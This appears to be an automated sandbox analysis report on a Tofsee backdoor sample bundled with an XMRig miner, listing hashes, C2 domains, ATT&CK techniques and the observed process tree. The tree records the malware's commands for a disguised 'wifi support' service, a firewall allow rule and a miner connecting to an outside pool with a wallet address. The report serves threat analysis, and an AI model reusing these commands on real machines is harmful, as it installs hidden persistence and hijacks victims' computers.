Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    19-06-2022 13:46

General

  • Target

    1bb93b18ce319243c257c190ae50254cae4457f888285c1575e4c50a5c4d6f25.exe

  • Size

    307KB

  • MD5

    7482605c4adcb2a4cf1fca140c2e1708

  • SHA1

    c793eae3026db3295c3aa66f55d8a05b1b55d45d

  • SHA256

    1bb93b18ce319243c257c190ae50254cae4457f888285c1575e4c50a5c4d6f25

  • SHA512

    c91cfc8902bad668d35475a4ce247901b106910c3168f1a11fcc95e43ba115e5119c838ac0dedcb6139eaaf3c976ca586c65a29837eacf4a81f962229f6e16ec

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1bb93b18ce319243c257c190ae50254cae4457f888285c1575e4c50a5c4d6f25.exe
    "C:\Users\Admin\AppData\Local\Temp\1bb93b18ce319243c257c190ae50254cae4457f888285c1575e4c50a5c4d6f25.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uiikxcsr\
      2⤵
        PID:4944
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brbmkkxa.exe" C:\Windows\SysWOW64\uiikxcsr\
        2⤵
          PID:5048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uiikxcsr binPath= "C:\Windows\SysWOW64\uiikxcsr\brbmkkxa.exe /d\"C:\Users\Admin\AppData\Local\Temp\1bb93b18ce319243c257c190ae50254cae4457f888285c1575e4c50a5c4d6f25.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uiikxcsr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3252
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uiikxcsr
          2⤵
          • Launches sc.exe
          PID:4248
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5112
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 788 -s 796
          2⤵
          • Program crash
          PID:1296
      • C:\Windows\SysWOW64\uiikxcsr\brbmkkxa.exe
        C:\Windows\SysWOW64\uiikxcsr\brbmkkxa.exe /d"C:\Users\Admin\AppData\Local\Temp\1bb93b18ce319243c257c190ae50254cae4457f888285c1575e4c50a5c4d6f25.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2344
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3632
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 524
          2⤵
          • Program crash
          PID:4120
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 788 -ip 788
        1⤵
          PID:4236
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 2800 -ip 2800
          1⤵
            PID:4344

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\brbmkkxa.exe
            Filesize

            13.0MB

            MD5

            f14045575a2dd7b2b0fb010cf53c7905

            SHA1

            5d379ac25736ec02e625a10aaa7908fee4e71a96

            SHA256

            e9447931a730197461cf7f7016b51b0bb56fb8b1801cde4fed9b7b7082e61b9d

            SHA512

            4c62413a7bc0c20a3942d73881ce5fa4116fe4f3cc8c47f0e317030ad3d812caa74dddda06c0d4deb61b5608abac580aba146edd5fb95152bb072ba4a3178f0e

          • C:\Windows\SysWOW64\uiikxcsr\brbmkkxa.exe
            Filesize

            13.0MB

            MD5

            f14045575a2dd7b2b0fb010cf53c7905

            SHA1

            5d379ac25736ec02e625a10aaa7908fee4e71a96

            SHA256

            e9447931a730197461cf7f7016b51b0bb56fb8b1801cde4fed9b7b7082e61b9d

            SHA512

            4c62413a7bc0c20a3942d73881ce5fa4116fe4f3cc8c47f0e317030ad3d812caa74dddda06c0d4deb61b5608abac580aba146edd5fb95152bb072ba4a3178f0e

          • memory/452-136-0x0000000000000000-mapping.dmp
          • memory/788-131-0x0000000002FBE000-0x0000000002FCC000-memory.dmp
            Filesize

            56KB

          • memory/788-132-0x0000000002F00000-0x0000000002F13000-memory.dmp
            Filesize

            76KB

          • memory/788-145-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/788-134-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/2344-160-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/2344-150-0x0000000000F00000-0x0000000000F15000-memory.dmp
            Filesize

            84KB

          • memory/2344-163-0x0000000008000000-0x000000000840B000-memory.dmp
            Filesize

            4.0MB

          • memory/2344-157-0x0000000002380000-0x0000000002390000-memory.dmp
            Filesize

            64KB

          • memory/2344-141-0x0000000000000000-mapping.dmp
          • memory/2344-142-0x0000000000F00000-0x0000000000F15000-memory.dmp
            Filesize

            84KB

          • memory/2344-166-0x00000000033D0000-0x00000000033D7000-memory.dmp
            Filesize

            28KB

          • memory/2344-154-0x0000000002370000-0x0000000002376000-memory.dmp
            Filesize

            24KB

          • memory/2344-151-0x0000000003000000-0x000000000320F000-memory.dmp
            Filesize

            2.1MB

          • memory/2344-148-0x0000000000F00000-0x0000000000F15000-memory.dmp
            Filesize

            84KB

          • memory/2800-146-0x0000000002D79000-0x0000000002D87000-memory.dmp
            Filesize

            56KB

          • memory/2800-149-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/2800-147-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/3252-137-0x0000000000000000-mapping.dmp
          • memory/3632-170-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/3632-169-0x0000000000000000-mapping.dmp
          • memory/3632-175-0x0000000000620000-0x0000000000711000-memory.dmp
            Filesize

            964KB

          • memory/4248-138-0x0000000000000000-mapping.dmp
          • memory/4944-130-0x0000000000000000-mapping.dmp
          • memory/5048-133-0x0000000000000000-mapping.dmp
          • memory/5112-140-0x0000000000000000-mapping.dmp